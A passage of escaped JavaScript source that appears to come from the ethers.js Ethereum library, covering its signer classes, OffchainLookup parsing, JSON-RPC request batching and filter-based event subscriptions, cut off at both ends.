(result.length > 32) {\n throw new Error(\"internal; should not happen\");\n }\n const padded = new Uint8Array(32);\n padded.set(result, 32 - result.length);\n return padded;\n}\nfunction bytesPad(value) {\n if ((value.length % 32) === 0) {\n return value;\n }\n const result = new Uint8Array(Math.ceil(value.length / 32) * 32);\n result.set(value);\n return result;\n}\nconst empty = new Uint8Array([]);\n// ABI Encodes a series of (bytes, bytes, ...)\nfunction encodeBytes(datas) {\n const result = [];\n let byteCount = 0;\n // Add place-holders for pointers as we add items\n for (let i = 0; i < datas.length; i++) {\n result.push(empty);\n byteCount += 32;\n }\n for (let i = 0; i < datas.length; i++) {\n const data = getBytes(datas[i]);\n // Update the bytes offset\n result[i] = numPad(byteCount);\n // The length and padded value of data\n result.push(numPad(data.length));\n result.push(bytesPad(data));\n byteCount += 32 + Math.ceil(data.length / 32) * 32;\n }\n return concat(result);\n}\nconst zeros = \"0x0000000000000000000000000000000000000000000000000000000000000000\";\nfunction parseOffchainLookup(data) {\n const result = {\n sender: \"\", urls: [], calldata: \"\", selector: \"\", extraData: \"\", errorArgs: []\n };\n assert(dataLength(data) >= 5 * 32, \"insufficient OffchainLookup data\", \"OFFCHAIN_FAULT\", {\n reason: \"insufficient OffchainLookup data\"\n });\n const sender = dataSlice(data, 0, 32);\n assert(dataSlice(sender, 0, 12) === dataSlice(zeros, 0, 12), \"corrupt OffchainLookup sender\", \"OFFCHAIN_FAULT\", {\n reason: \"corrupt OffchainLookup sender\"\n });\n result.sender = dataSlice(sender, 12);\n // Read the URLs from the response\n try {\n const urls = [];\n const urlsOffset = getNumber(dataSlice(data, 32, 64));\n const urlsLength = getNumber(dataSlice(data, urlsOffset, urlsOffset + 32));\n const urlsData = dataSlice(data, urlsOffset + 32);\n for (let u = 0; u < urlsLength; u++) {\n const url = _parseString(urlsData, u * 32);\n if (url == null) {\n throw new Error(\"abort\");\n }\n urls.push(url);\n }\n result.urls = urls;\n }\n catch (error) {\n assert(false, \"corrupt OffchainLookup urls\", \"OFFCHAIN_FAULT\", {\n reason: \"corrupt OffchainLookup urls\"\n });\n }\n // Get the CCIP calldata to forward\n try {\n const calldata = _parseBytes(data, 64);\n if (calldata == null) {\n throw new Error(\"abort\");\n }\n result.calldata = calldata;\n }\n catch (error) {\n assert(false, \"corrupt OffchainLookup calldata\", \"OFFCHAIN_FAULT\", {\n reason: \"corrupt OffchainLookup calldata\"\n });\n }\n // Get the callbackSelector (bytes4)\n assert(dataSlice(data, 100, 128) === dataSlice(zeros, 0, 28), \"corrupt OffchainLookup callbaackSelector\", \"OFFCHAIN_FAULT\", {\n reason: \"corrupt OffchainLookup callbaackSelector\"\n });\n result.selector = dataSlice(data, 96, 100);\n // Get the extra data to send back to the contract as context\n try {\n const extraData = _parseBytes(data, 128);\n if (extraData == null) {\n throw new Error(\"abort\");\n }\n result.extraData = extraData;\n }\n catch (error) {\n assert(false, \"corrupt OffchainLookup extraData\", \"OFFCHAIN_FAULT\", {\n reason: \"corrupt OffchainLookup extraData\"\n });\n }\n result.errorArgs = \"sender,urls,calldata,selector,extraData\".split(/,/).map((k) => result[k]);\n return result;\n}\n//# sourceMappingURL=abstract-provider.js.map","/**\n * Generally the [[Wallet]] and [[JsonRpcSigner]] and their sub-classes\n * are sufficent for most developers, but this is provided to\n * fascilitate more complex Signers.\n *\n * @_section: api/providers/abstract-signer: Subclassing Signer [abstract-signer]\n */\nimport { resolveAddress } from \"../address/index.js\";\nimport { Transaction } from \"../transaction/index.js\";\nimport { defineProperties, getBigInt, resolveProperties, assert, assertArgument } from \"../utils/index.js\";\nimport { copyRequest } from \"./provider.js\";\nfunction checkProvider(signer, operation) {\n if (signer.provider) {\n return signer.provider;\n }\n assert(false, \"missing provider\", \"UNSUPPORTED_OPERATION\", { operation });\n}\nasync function populate(signer, tx) {\n let pop = copyRequest(tx);\n if (pop.to != null) {\n pop.to = resolveAddress(pop.to, signer);\n }\n if (pop.from != null) {\n const from = pop.from;\n pop.from = Promise.all([\n signer.getAddress(),\n resolveAddress(from, signer)\n ]).then(([address, from]) => {\n assertArgument(address.toLowerCase() === from.toLowerCase(), \"transaction from mismatch\", \"tx.from\", from);\n return address;\n });\n }\n else {\n pop.from = signer.getAddress();\n }\n return await resolveProperties(pop);\n}\n/**\n * An **AbstractSigner** includes most of teh functionality required\n * to get a [[Signer]] working as expected, but requires a few\n * Signer-specific methods be overridden.\n *\n */\nexport class AbstractSigner {\n /**\n * The provider this signer is connected to.\n */\n provider;\n /**\n * Creates a new Signer connected to %%provider%%.\n */\n constructor(provider) {\n defineProperties(this, { provider: (provider || null) });\n }\n async getNonce(blockTag) {\n return checkProvider(this, \"getTransactionCount\").getTransactionCount(await this.getAddress(), blockTag);\n }\n async populateCall(tx) {\n const pop = await populate(this, tx);\n return pop;\n }\n async populateTransaction(tx) {\n const provider = checkProvider(this, \"populateTransaction\");\n const pop = await populate(this, tx);\n if (pop.nonce == null) {\n pop.nonce = await this.getNonce(\"pending\");\n }\n if (pop.gasLimit == null) {\n pop.gasLimit = await this.estimateGas(pop);\n }\n // Populate the chain ID\n const network = await (this.provider).getNetwork();\n if (pop.chainId != null) {\n const chainId = getBigInt(pop.chainId);\n assertArgument(chainId === network.chainId, \"transaction chainId mismatch\", \"tx.chainId\", tx.chainId);\n }\n else {\n pop.chainId = network.chainId;\n }\n // Do not allow mixing pre-eip-1559 and eip-1559 properties\n const hasEip1559 = (pop.maxFeePerGas != null || pop.maxPriorityFeePerGas != null);\n if (pop.gasPrice != null && (pop.type === 2 || hasEip1559)) {\n assertArgument(false, \"eip-1559 transaction do not support gasPrice\", \"tx\", tx);\n }\n else if ((pop.type === 0 || pop.type === 1) && hasEip1559) {\n assertArgument(false, \"pre-eip-1559 transaction do not support maxFeePerGas/maxPriorityFeePerGas\", \"tx\", tx);\n }\n if ((pop.type === 2 || pop.type == null) && (pop.maxFeePerGas != null && pop.maxPriorityFeePerGas != null)) {\n // Fully-formed EIP-1559 transaction (skip getFeeData)\n pop.type = 2;\n }\n else if (pop.type === 0 || pop.type === 1) {\n // Explicit Legacy or EIP-2930 transaction\n // We need to get fee data to determine things\n const feeData = await provider.getFeeData();\n assert(feeData.gasPrice != null, \"network does not support gasPrice\", \"UNSUPPORTED_OPERATION\", {\n operation: \"getGasPrice\"\n });\n // Populate missing gasPrice\n if (pop.gasPrice == null) {\n pop.gasPrice = feeData.gasPrice;\n }\n }\n else {\n // We need to get fee data to determine things\n const feeData = await provider.getFeeData();\n if (pop.type == null) {\n // We need to auto-detect the intended type of this transaction...\n if (feeData.maxFeePerGas != null && feeData.maxPriorityFeePerGas != null) {\n // The network supports EIP-1559!\n // Upgrade transaction from null to eip-1559\n if (pop.authorizationList && pop.authorizationList.length) {\n pop.type = 4;\n }\n else {\n pop.type = 2;\n }\n if (pop.gasPrice != null) {\n // Using legacy gasPrice property on an eip-1559 network,\n // so use gasPrice as both fee properties\n const gasPrice = pop.gasPrice;\n delete pop.gasPrice;\n pop.maxFeePerGas = gasPrice;\n pop.maxPriorityFeePerGas = gasPrice;\n }\n else {\n // Populate missing fee data\n if (pop.maxFeePerGas == null) {\n pop.maxFeePerGas = feeData.maxFeePerGas;\n }\n if (pop.maxPriorityFeePerGas == null) {\n pop.maxPriorityFeePerGas = feeData.maxPriorityFeePerGas;\n }\n }\n }\n else if (feeData.gasPrice != null) {\n // Network doesn't support EIP-1559...\n // ...but they are trying to use EIP-1559 properties\n assert(!hasEip1559, \"network does not support EIP-1559\", \"UNSUPPORTED_OPERATION\", {\n operation: \"populateTransaction\"\n });\n // Populate missing fee data\n if (pop.gasPrice == null) {\n pop.gasPrice = feeData.gasPrice;\n }\n // Explicitly set untyped transaction to legacy\n // @TODO: Maybe this shold allow type 1?\n pop.type = 0;\n }\n else {\n // getFeeData has failed us.\n assert(false, \"failed to get consistent fee data\", \"UNSUPPORTED_OPERATION\", {\n operation: \"signer.getFeeData\"\n });\n }\n }\n else if (pop.type === 2 || pop.type === 3 || pop.type === 4) {\n // Explicitly using EIP-1559 or EIP-4844\n // Populate missing fee data\n if (pop.maxFeePerGas == null) {\n pop.maxFeePerGas = feeData.maxFeePerGas;\n }\n if (pop.maxPriorityFeePerGas == null) {\n pop.maxPriorityFeePerGas = feeData.maxPriorityFeePerGas;\n }\n }\n }\n //@TOOD: Don't await all over the place; save them up for\n // the end for better batching\n return await resolveProperties(pop);\n }\n async populateAuthorization(_auth) {\n const auth = Object.assign({}, _auth);\n // Add a chain ID if not explicitly set to 0\n if (auth.chainId == null) {\n auth.chainId = (await checkProvider(this, \"getNetwork\").getNetwork()).chainId;\n }\n // @TODO: Take chain ID into account when populating noce?\n if (auth.nonce == null) {\n auth.nonce = await this.getNonce();\n }\n return auth;\n }\n async estimateGas(tx) {\n return checkProvider(this, \"estimateGas\").estimateGas(await this.populateCall(tx));\n }\n async call(tx) {\n return checkProvider(this, \"call\").call(await this.populateCall(tx));\n }\n async resolveName(name) {\n const provider = checkProvider(this, \"resolveName\");\n return await provider.resolveName(name);\n }\n async sendTransaction(tx) {\n const provider = checkProvider(this, \"sendTransaction\");\n const pop = await this.populateTransaction(tx);\n delete pop.from;\n const txObj = Transaction.from(pop);\n return await provider.broadcastTransaction(await this.signTransaction(txObj));\n }\n // @TODO: in v7 move this to be abstract\n authorize(authorization) {\n assert(false, \"authorization not implemented for this signer\", \"UNSUPPORTED_OPERATION\", { operation: \"authorize\" });\n }\n}\n/**\n * A **VoidSigner** is a class deisgned to allow an address to be used\n * in any API which accepts a Signer, but for which there are no\n * credentials available to perform any actual signing.\n *\n * This for example allow impersonating an account for the purpose of\n * static calls or estimating gas, but does not allow sending transactions.\n */\nexport class VoidSigner extends AbstractSigner {\n /**\n * The signer address.\n */\n address;\n /**\n * Creates a new **VoidSigner** with %%address%% attached to\n * %%provider%%.\n */\n constructor(address, provider) {\n super(provider);\n defineProperties(this, { address });\n }\n async getAddress() { return this.address; }\n connect(provider) {\n return new VoidSigner(this.address, provider);\n }\n #throwUnsupported(suffix, operation) {\n assert(false, `VoidSigner cannot sign ${suffix}`, \"UNSUPPORTED_OPERATION\", { operation });\n }\n async signTransaction(tx) {\n this.#throwUnsupported(\"transactions\", \"signTransaction\");\n }\n async signMessage(message) {\n this.#throwUnsupported(\"messages\", \"signMessage\");\n }\n async signTypedData(domain, types, value) {\n this.#throwUnsupported(\"typed-data\", \"signTypedData\");\n }\n}\n//# sourceMappingURL=abstract-signer.js.map","/**\n * There are many awesome community services that provide Ethereum\n * nodes both for developers just starting out and for large-scale\n * communities.\n *\n * @_section: api/providers/thirdparty: Community Providers [thirdparty]\n */\n// Show the throttle message only once per service\nconst shown = new Set();\n/**\n * Displays a warning in the console when the community resource is\n * being used too heavily by the app, recommending the developer\n * acquire their own credentials instead of using the community\n * credentials.\n *\n * The notification will only occur once per service.\n */\nexport function showThrottleMessage(service) {\n if (shown.has(service)) {\n return;\n }\n shown.add(service);\n console.log(\"========= NOTICE =========\");\n console.log(`Request-Rate Exceeded for ${service} (this message will not be repeated)`);\n console.log(\"\");\n console.log(\"The default API keys for each service are provided as a highly-throttled,\");\n console.log(\"community resource for low-traffic projects and early prototyping.\");\n console.log(\"\");\n console.log(\"While your application will continue to function, we highly recommended\");\n console.log(\"signing up for your own API keys to improve performance, increase your\");\n console.log(\"request rate/limit and enable other perks, such as metrics and advanced APIs.\");\n console.log(\"\");\n console.log(\"For more details: https:/\\/docs.ethers.org/api-keys/\");\n console.log(\"==========================\");\n}\n//# sourceMappingURL=community.js.map","import { isError } from \"../utils/index.js\";\nimport { PollingEventSubscriber } from \"./subscriber-polling.js\";\nfunction copy(obj) {\n return JSON.parse(JSON.stringify(obj));\n}\n/**\n * Some backends support subscribing to events using a Filter ID.\n *\n * When subscribing with this technique, the node issues a unique\n * //Filter ID//. At this point the node dedicates resources to\n * the filter, so that periodic calls to follow up on the //Filter ID//\n * will receive any events since the last call.\n *\n * @_docloc: api/providers/abstract-provider\n */\nexport class FilterIdSubscriber {\n #provider;\n #filterIdPromise;\n #poller;\n #running;\n #network;\n #hault;\n /**\n * Creates a new **FilterIdSubscriber** which will used [[_subscribe]]\n * and [[_emitResults]] to setup the subscription and provide the event\n * to the %%provider%%.\n */\n constructor(provider) {\n this.#provider = provider;\n this.#filterIdPromise = null;\n this.#poller = this.#poll.bind(this);\n this.#running = false;\n this.#network = null;\n this.#hault = false;\n }\n /**\n * Sub-classes **must** override this to begin the subscription.\n */\n _subscribe(provider) {\n throw new Error(\"subclasses must override this\");\n }\n /**\n * Sub-classes **must** override this handle the events.\n */\n _emitResults(provider, result) {\n throw new Error(\"subclasses must override this\");\n }\n /**\n * Sub-classes **must** override this handle recovery on errors.\n */\n _recover(provider) {\n throw new Error(\"subclasses must override this\");\n }\n async #poll(blockNumber) {\n try {\n // Subscribe if necessary\n if (this.#filterIdPromise == null) {\n this.#filterIdPromise = this._subscribe(this.#provider);\n }\n // Get the Filter ID\n let filterId = null;\n try {\n filterId = await this.#filterIdPromise;\n }\n catch (error) {\n if (!isError(error, \"UNSUPPORTED_OPERATION\") || error.operation !== \"eth_newFilter\") {\n throw error;\n }\n }\n // The backend does not support Filter ID; downgrade to\n // polling\n if (filterId == null) {\n this.#filterIdPromise = null;\n this.#provider._recoverSubscriber(this, this._recover(this.#provider));\n return;\n }\n const network = await this.#provider.getNetwork();\n if (!this.#network) {\n this.#network = network;\n }\n if (this.#network.chainId !== network.chainId) {\n throw new Error(\"chaid changed\");\n }\n if (this.#hault) {\n return;\n }\n const result = await this.#provider.send(\"eth_getFilterChanges\", [filterId]);\n await this._emitResults(this.#provider, result);\n }\n catch (error) {\n console.log(\"@TODO\", error);\n }\n this.#provider.once(\"block\", this.#poller);\n }\n #teardown() {\n const filterIdPromise = this.#filterIdPromise;\n if (filterIdPromise) {\n this.#filterIdPromise = null;\n filterIdPromise.then((filterId) => {\n if (this.#provider.destroyed) {\n return;\n }\n this.#provider.send(\"eth_uninstallFilter\", [filterId]);\n });\n }\n }\n start() {\n if (this.#running) {\n return;\n }\n this.#running = true;\n this.#poll(-2);\n }\n stop() {\n if (!this.#running) {\n return;\n }\n this.#running = false;\n this.#hault = true;\n this.#teardown();\n this.#provider.off(\"block\", this.#poller);\n }\n pause(dropWhilePaused) {\n if (dropWhilePaused) {\n this.#teardown();\n }\n this.#provider.off(\"block\", this.#poller);\n }\n resume() { this.start(); }\n}\n/**\n * A **FilterIdSubscriber** for receiving contract events.\n *\n * @_docloc: api/providers/abstract-provider\n */\nexport class FilterIdEventSubscriber extends FilterIdSubscriber {\n #event;\n /**\n * Creates a new **FilterIdEventSubscriber** attached to %%provider%%\n * listening for %%filter%%.\n */\n constructor(provider, filter) {\n super(provider);\n this.#event = copy(filter);\n }\n _recover(provider) {\n return new PollingEventSubscriber(provider, this.#event);\n }\n async _subscribe(provider) {\n const filterId = await provider.send(\"eth_newFilter\", [this.#event]);\n return filterId;\n }\n async _emitResults(provider, results) {\n for (const result of results) {\n provider.emit(this.#event, provider._wrapLog(result, provider._network));\n }\n }\n}\n/**\n * A **FilterIdSubscriber** for receiving pending transactions events.\n *\n * @_docloc: api/providers/abstract-provider\n */\nexport class FilterIdPendingSubscriber extends FilterIdSubscriber {\n async _subscribe(provider) {\n return await provider.send(\"eth_newPendingTransactionFilter\", []);\n }\n async _emitResults(provider, results) {\n for (const result of results) {\n provider.emit(\"pending\", result);\n }\n }\n}\n//# sourceMappingURL=subscriber-filterid.js.map","/**\n * One of the most common ways to interact with the blockchain is\n * by a node running a JSON-RPC interface which can be connected to,\n * based on the transport, using:\n *\n * - HTTP or HTTPS - [[JsonRpcProvider]]\n * - WebSocket - [[WebSocketProvider]]\n * - IPC - [[IpcSocketProvider]]\n *\n * @_section: api/providers/jsonrpc:JSON-RPC Provider [about-jsonrpcProvider]\n */\n// @TODO:\n// - Add the batching API\n// https://playground.open-rpc.org/?schemaUrl=https://raw.githubusercontent.com/ethereum/eth1.0-apis/assembled-spec/openrpc.json&uiSchema%5BappBar%5D%5Bui:splitView%5D=true&uiSchema%5BappBar%5D%5Bui:input%5D=false&uiSchema%5BappBar%5D%5Bui:examplesDropdown%5D=false\nimport { AbiCoder } from \"../abi/index.js\";\nimport { getAddress, resolveAddress } from \"../address/index.js\";\nimport { TypedDataEncoder } from \"../hash/index.js\";\nimport { accessListify, authorizationify } from \"../transaction/index.js\";\nimport { defineProperties, getBigInt, hexlify, isHexString, toQuantity, toUtf8Bytes, isError, makeError, assert, assertArgument, FetchRequest, resolveProperties } from \"../utils/index.js\";\nimport { AbstractProvider, UnmanagedSubscriber } from \"./abstract-provider.js\";\nimport { AbstractSigner } from \"./abstract-signer.js\";\nimport { Network } from \"./network.js\";\nimport { FilterIdEventSubscriber, FilterIdPendingSubscriber } from \"./subscriber-filterid.js\";\nimport { PollingEventSubscriber } from \"./subscriber-polling.js\";\nconst Primitive = \"bigint,boolean,function,number,string,symbol\".split(/,/g);\n//const Methods = \"getAddress,then\".split(/,/g);\nfunction deepCopy(value) {\n if (value == null || Primitive.indexOf(typeof (value)) >= 0) {\n return value;\n }\n // Keep any Addressable\n if (typeof (value.getAddress) === \"function\") {\n return value;\n }\n if (Array.isArray(value)) {\n return (value.map(deepCopy));\n }\n if (typeof (value) === \"object\") {\n return Object.keys(value).reduce((accum, key) => {\n accum[key] = value[key];\n return accum;\n }, {});\n }\n throw new Error(`should not happen: ${value} (${typeof (value)})`);\n}\nfunction stall(duration) {\n return new Promise((resolve) => { setTimeout(resolve, duration); });\n}\nfunction getLowerCase(value) {\n if (value) {\n return value.toLowerCase();\n }\n return value;\n}\nfunction isPollable(value) {\n return (value && typeof (value.pollingInterval) === \"number\");\n}\nconst defaultOptions = {\n polling: false,\n staticNetwork: null,\n batchStallTime: 10,\n batchMaxSize: (1 << 20),\n batchMaxCount: 100,\n cacheTimeout: 250,\n pollingInterval: 4000\n};\n// @TODO: Unchecked Signers\nexport class JsonRpcSigner extends AbstractSigner {\n address;\n constructor(provider, address) {\n super(provider);\n address = getAddress(address);\n defineProperties(this, { address });\n }\n connect(provider) {\n assert(false, \"cannot reconnect JsonRpcSigner\", \"UNSUPPORTED_OPERATION\", {\n operation: \"signer.connect\"\n });\n }\n async getAddress() {\n return this.address;\n }\n // JSON-RPC will automatially fill in nonce, etc. so we just check from\n async populateTransaction(tx) {\n return await this.populateCall(tx);\n }\n // Returns just the hash of the transaction after sent, which is what\n // the bare JSON-RPC API does;\n async sendUncheckedTransaction(_tx) {\n const tx = deepCopy(_tx);\n const promises = [];\n // Make sure the from matches the sender\n if (tx.from) {\n const _from = tx.from;\n promises.push((async () => {\n const from = await resolveAddress(_from, this.provider);\n assertArgument(from != null && from.toLowerCase() === this.address.toLowerCase(), \"from address mismatch\", \"transaction\", _tx);\n tx.from = from;\n })());\n }\n else {\n tx.from = this.address;\n }\n // The JSON-RPC for eth_sendTransaction uses 90000 gas; if the user\n // wishes to use this, it is easy to specify explicitly, otherwise\n // we look it up for them.\n if (tx.gasLimit == null) {\n promises.push((async () => {\n tx.gasLimit = await this.provider.estimateGas({ ...tx, from: this.address });\n })());\n }\n // The address may be an ENS name or Addressable\n if (tx.to != null) {\n const _to = tx.to;\n promises.push((async () => {\n tx.to = await resolveAddress(_to, this.provider);\n })());\n }\n // Wait until all of our properties are filled in\n if (promises.length) {\n await Promise.all(promises);\n }\n const hexTx = this.provider.getRpcTransaction(tx);\n return this.provider.send(\"eth_sendTransaction\", [hexTx]);\n }\n async sendTransaction(tx) {\n // This cannot be mined any earlier than any recent block\n const blockNumber = await this.provider.getBlockNumber();\n // Send the transaction\n const hash = await this.sendUncheckedTransaction(tx);\n // Unfortunately, JSON-RPC only provides and opaque transaction hash\n // for a response, and we need the actual transaction, so we poll\n // for it; it should show up very quickly\n return await (new Promise((resolve, reject) => {\n const timeouts = [1000, 100];\n let invalids = 0;\n const checkTx = async () => {\n try {\n // Try getting the transaction\n const tx = await this.provider.getTransaction(hash);\n if (tx != null) {\n resolve(tx.replaceableTransaction(blockNumber));\n return;\n }\n }\n catch (error) {\n // If we were cancelled: stop polling.\n // If the data is bad: the node returns bad transactions\n // If the network changed: calling again will also fail\n // If unsupported: likely destroyed\n if (isError(error, \"CANCELLED\") || isError(error, \"BAD_DATA\") ||\n isError(error, \"NETWORK_ERROR\") || isError(error, \"UNSUPPORTED_OPERATION\")) {\n if (error.info == null) {\n error.info = {};\n }\n error.info.sendTransactionHash = hash;\n reject(error);\n return;\n }\n // Stop-gap for misbehaving backends; see #4513\n if (isError(error, \"INVALID_ARGUMENT\")) {\n invalids++;\n if (error.info == null) {\n error.info = {};\n }\n error.info.sendTransactionHash = hash;\n if (invalids > 10) {\n reject(error);\n return;\n }\n }\n // Notify anyone that cares; but we will try again, since\n // it is likely an intermittent service error\n this.provider.emit(\"error\", makeError(\"failed to fetch transation after sending (will try again)\", \"UNKNOWN_ERROR\", { error }));\n }\n // Wait another 4 seconds\n this.provider._setTimeout(() => { checkTx(); }, timeouts.pop() || 4000);\n };\n checkTx();\n }));\n }\n async signTransaction(_tx) {\n const tx = deepCopy(_tx);\n // Make sure the from matches the sender\n if (tx.from) {\n const from = await resolveAddress(tx.from, this.provider);\n assertArgument(from != null && from.toLowerCase() === this.address.toLowerCase(), \"from address mismatch\", \"transaction\", _tx);\n tx.from = from;\n }\n else {\n tx.from = this.address;\n }\n const hexTx = this.provider.getRpcTransaction(tx);\n return await this.provider.send(\"eth_signTransaction\", [hexTx]);\n }\n async signMessage(_message) {\n const message = ((typeof (_message) === \"string\") ? toUtf8Bytes(_message) : _message);\n return await this.provider.send(\"personal_sign\", [\n hexlify(message), this.address.toLowerCase()\n ]);\n }\n async signTypedData(domain, types, _value) {\n const value = deepCopy(_value);\n // Populate any ENS names (in-place)\n const populated = await TypedDataEncoder.resolveNames(domain, types, value, async (value) => {\n const address = await resolveAddress(value);\n assertArgument(address != null, \"TypedData does not support null address\", \"value\", value);\n return address;\n });\n return await this.provider.send(\"eth_signTypedData_v4\", [\n this.address.toLowerCase(),\n JSON.stringify(TypedDataEncoder.getPayload(populated.domain, types, populated.value))\n ]);\n }\n async unlock(password) {\n return this.provider.send(\"personal_unlockAccount\", [\n this.address.toLowerCase(), password, null\n ]);\n }\n // https://github.com/ethereum/wiki/wiki/JSON-RPC#eth_sign\n async _legacySignMessage(_message) {\n const message = ((typeof (_message) === \"string\") ? toUtf8Bytes(_message) : _message);\n return await this.provider.send(\"eth_sign\", [\n this.address.toLowerCase(), hexlify(message)\n ]);\n }\n}\n/**\n * The JsonRpcApiProvider is an abstract class and **MUST** be\n * sub-classed.\n *\n * It provides the base for all JSON-RPC-based Provider interaction.\n *\n * Sub-classing Notes:\n * - a sub-class MUST override _send\n * - a sub-class MUST call the `_start()` method once connected\n */\nexport class JsonRpcApiProvider extends AbstractProvider {\n #options;\n // The next ID to use for the JSON-RPC ID field\n #nextId;\n // Payloads are queued and triggered in batches using the drainTimer\n #payloads;\n #drainTimer;\n #notReady;\n #network;\n #pendingDetectNetwork;\n #scheduleDrain() {\n if (this.#drainTimer) {\n return;\n }\n // If we aren't using batching, no harm in sending it immediately\n const stallTime = (this._getOption(\"batchMaxCount\") === 1) ? 0 : this._getOption(\"batchStallTime\");\n this.#drainTimer = setTimeout(() => {\n this.#drainTimer = null;\n const payloads = this.#payloads;\n this.#payloads = [];\n while (payloads.length) {\n // Create payload batches that satisfy our batch constraints\n const batch = [(payloads.shift())];\n while (payloads.length) {\n if (batch.length === this.#options.batchMaxCount) {\n break;\n }\n batch.push((payloads.shift()));\n const bytes = JSON.stringify(batch.map((p) => p.payload));\n if (bytes.length > this.#options.batchMaxSize) {\n payloads.unshift((batch.pop()));\n break;\n }\n }\n // Process the result to each payload\n (async () => {\n const payload = ((batch.length === 1) ? batch[0].payload : batch.map((p) => p.payload));\n this.emit(\"debug\", { action: \"sendRpcPayload\", payload });\n try {\n const result = await this._send(payload);\n this.emit(\"debug\", { action: \"receiveRpcResult\", result });\n // Process results in batch order\n for (const { resolve, reject, payload } of batch) {\n if (this.destroyed) {\n reject(makeError(\"provider destroyed; cancelled request\", \"UNSUPPORTED_OPERATION\", { operation: payload.method }));\n continue;\n }\n // Find the matching result\n const resp = result.filter((r) => (r.id === payload.id))[0];\n // No result; the node failed us in unexpected ways\n if (resp == null) {\n const error = makeError(\"missing response for request\", \"BAD_DATA\", {\n value: result, info: { payload }\n });\n this.emit(\"error\", error);\n reject(error);\n continue;\n }\n // The response is an error\n if (\"error\" in resp) {\n reject(this.getRpcError(payload, resp));\n continue;\n }\n // All good; send the result\n resolve(resp.result);\n }\n }\n catch (error) {\n this.emit(\"debug\", { action: \"receiveRpcError\", error });\n for (const { reject } of batch) {\n // @TODO: augment the error with the payload\n reject(error);\n }\n }\n })();\n }\n }, stallTime);\n }\n constructor(network, options) {\n super(network, options);\n this.#nextId = 1;\n this.#options = Object.assign({}, defaultOptions, options || {});\n this.#payloads = [];\n this.#drainTimer = null;\n this.#network = null;\n this.#pendingDetectNetwork = null;\n {\n let resolve = null;\n const promise = new Promise((_resolve) => {\n resolve = _resolve;\n });\n this.#notReady = { promise, resolve };\n }\n const staticNetwork = this._getOption(\"staticNetwork\");\n if (typeof (staticNetwork) === \"boolean\") {\n assertArgument(!staticNetwork || network !== \"any\", \"staticNetwork cannot be used on special network 'any'\", \"options\", options);\n if (staticNetwork && network != null) {\n this.#network = Network.from(network);\n }\n }\n else if (staticNetwork) {\n // Make sure any static network is compatbile with the provided netwrok\n assertArgument(network == null || staticNetwork.matches(network), \"staticNetwork MUST match network object\", \"options\", options);\n this.#network = staticNetwork;\n }\n }\n /**\n * Returns the value associated with the option %%key%%.\n *\n * Sub-classes can use this to inquire about configuration options.\n */\n _getOption(key) {\n return this.#options[key];\n }\n /**\n * Gets the [[Network]] this provider has committed to. On each call, the network\n * is detected, and if it has changed, the call will reject.\n */\n get _network() {\n assert(this.#network, \"network is not available yet\", \"NETWORK_ERROR\");\n return this.#network;\n }\n /**\n * Resolves to the non-normalized value by performing %%req%%.\n *\n * Sub-classes may override this to modify behavior of actions,\n * and should generally call ``super._perform`` as a fallback.\n */\n async _perform(req) {\n // Legacy networks do not like the type field being passed along (which\n // is fair), so we delete type if it is 0 and a non-EIP-1559 network\n if (req.method === \"call\" || req.method === \"estimateGas\") {\n let tx = req.transaction;\n if (tx && tx.type != null && getBigInt(tx.type)) {\n // If there are no EIP-1559 or newer properties, it might be pre-EIP-1559\n if (tx.maxFeePerGas == null && tx.maxPriorityFeePerGas == null) {\n const feeData = await this.getFeeData();\n if (feeData.maxFeePerGas == null && feeData.maxPriorityFeePerGas == null) {\n // Network doesn't know about EIP-1559 (and hence type)\n req = Object.assign({}, req, {\n transaction: Object.assign({}, tx, { type: undefined })\n });\n }\n }\n }\n }\n const request = this.getRpcRequest(req);\n if (request != null) {\n return await this.send(request.method, request.args);\n }\n return super._perform(req);\n }\n /**\n * Sub-classes may override this; it detects the *actual* network that\n * we are **currently** connected to.\n *\n * Keep in mind that [[send]] may only be used once [[ready]], otherwise the\n * _send primitive must be used instead.\n */\n async _detectNetwork() {\n const network = this._getOption(\"staticNetwork\");\n if (network) {\n if (network === true) {\n if (this.#network) {\n return this.#network;\n }\n }\n else {\n return network;\n }\n }\n if (this.#pendingDetectNetwork) {\n return await this.#pendingDetectNetwork;\n }\n // If we are ready, use ``send``, which enabled requests to be batched\n if (this.ready) {\n this.#pendingDetectNetwork = (async () => {\n try {\n const result = Network.from(getBigInt(await this.send(\"eth_chainId\", [])));\n this.#pendingDetectNetwork = null;\n return result;\n }\n catch (error) {\n this.#pendingDetectNetwork = null;\n throw error;\n }\n })();\n return await this.#pendingDetectNetwork;\n }\n // We are not ready yet; use the primitive _send\n this.#pendingDetectNetwork = (async () => {\n const payload = {\n id: this.#nextId++, method: \"eth_chainId\", params: [], jsonrpc: \"2.0\"\n };\n this.emit(\"debug\", { action: \"sendRpcPayload\", payload });\n let result;\n try {\n result = (await this._send(payload))[0];\n this.#pendingDetectNetwork = null;\n }\n catch (error) {\n this.#pendingDetectNetwork = null;\n this.emit(\"debug\", { action: \"receiveRpcError\", error });\n throw error;\n }\n this.emit(\"debug\", { action: \"receiveRpcResult\", result });\n if (\"result\" in result) {\n return Network.from(getBigInt(result.result));\n }\n throw this.getRpcError(payload, result);\n })();\n return await this.#pendingDetectNetwork;\n }\n /**\n * Sub-classes **MUST** call this. Until [[_start]] has been called, no calls\n * will be passed to [[_send]] from [[send]]. If it is overridden, then\n * ``super._start()`` **MUST** be called.\n *\n * Calling it multiple times is safe and has no effect.\n */\n _start() {\n if (this.#notReady == null || this.#notReady.resolve == null) {\n return;\n }\n this.#notReady.resolve();\n this.#notReady = null;\n (async () => {\n // Bootstrap the network\n while (this.#network == null && !this.destroyed) {\n try {\n this.#network = await this._detectNetwork();\n }\n catch (error) {\n if (this.destroyed) {\n break;\n }\n console.log(\"JsonRpcProvider failed to detect network and cannot start up; retry in 1s (perhaps the URL is wrong or the node is not started)\");\n this.emit(\"error\", makeError(\"failed to bootstrap network detection\", \"NETWORK_ERROR\", { event: \"initial-network-discovery\", info: { error } }));\n await stall(1000);\n }\n }\n // Start dispatching requests\n this.#scheduleDrain();\n })();\n }\n /**\n * Resolves once the [[_start]] has been called. This can be used in\n * sub-classes to defer sending data until the connection has been\n * established.\n */\n async _waitUntilReady() {\n if (this.#notReady == null) {\n return;\n }\n return await this.#notReady.promise;\n }\n /**\n * Return a Subscriber that will manage the %%sub%%.\n *\n * Sub-classes may override this to modify the behavior of\n * subscription management.\n */\n _getSubscriber(sub) {\n // Pending Filters aren't availble via polling\n if (sub.type === \"pending\") {\n return new FilterIdPendingSubscriber(this);\n }\n if (sub.type === \"event\") {\n if 